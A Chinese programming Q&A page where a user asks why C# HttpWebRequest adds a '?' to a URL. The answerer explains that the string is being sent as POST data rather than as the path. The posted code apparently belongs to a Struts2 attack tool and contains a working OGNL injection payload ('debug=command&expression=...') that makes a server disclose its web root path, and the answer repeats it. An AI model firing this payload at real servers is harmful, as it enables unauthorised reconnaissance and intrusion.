程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> 編程綜合問答 >> .net-c# HttpWebRequest 為什麼會給URL自動加?號

.net-c# HttpWebRequest 為什麼會給URL自動加?號

編輯:編程綜合問答
c# HttpWebRequest 為什麼會給URL自動加?號
        public String getHtml(String url, String data, String htmlEncode)
        {
            try
            {
                //設置模擬http訪問參數
                Uri uri = new Uri(url);
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
                request.UserAgent = "Mozilla/5.0";
                request.Accept = "*/*";
                request.Method = "POST";
                request.Timeout = 40000;
                request.KeepAlive = true;
                request.AllowAutoRedirect = true;
                request.ContentType = "application/x-www-form-urlencoded";
                if (!"".Equals(this.txt_cookie.Text))
                {
                    request.Headers.Add("Cookie", this.txt_cookie.Text);
                }

                Byte[] b = Encoding.ASCII.GetBytes(data);
                request.ContentLength = b.Length;
                Stream stream = request.GetRequestStream();

                stream.Write(b, 0, b.Length);
                stream.Close();
                StreamReader sr = new StreamReader(request.GetResponse().GetResponseStream(), Encoding.GetEncoding(htmlEncode));
                String html = sr.ReadToEnd().Replace("\n","\r\n");
                return html;

            }
            catch (Exception e)
            {
                loginfo(e.Message);
                //MessageBox.Show(e.Message);
            }
            return "";
        }
        public void getInfo() {
            loginfo("正在獲取Web信息,請稍等片刻........");
            String exp = "/admin";
            if (this.radb_s19.Checked)
            {

                exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
            }

            String html = getHtml(this.txt_url.Text, exp, "UTF-8");
            this.txt_info.Text = html;

如果txt_url.Text為http://www.1.com/ String exp的內容問 /admin

程序會訪問的地址則是http://www.1.com/?admin

我想知道這個?號是哪裡來的。。。 能不能取消掉。。0 0。。 嘿嘿

最佳回答:


你看看你的getHtml函數的第二個參數是什麼,是提交表單的數據,你使用String html = getHtml(this.txt_url.Text, exp, "UTF-8");調用,自然把String exp = "/admin";作為表單數據,而不是請求路徑了。路徑是第一個參數。
你的exp變量和"/admin"到底是想傳遞什麼?如果你是想把 exp = "debug=command&expression...這些數據提交到網站的/admin去,那麼

        public void getInfo() {
            loginfo("正在獲取Web信息,請稍等片刻........");
            String path = "/admin";
                        String exp = "";
            if (this.radb_s19.Checked)
            {

                exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
            }

            String html = getHtml(this.txt_url.Text + path, exp, "UTF-8");
            this.txt_info.Text = html;
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved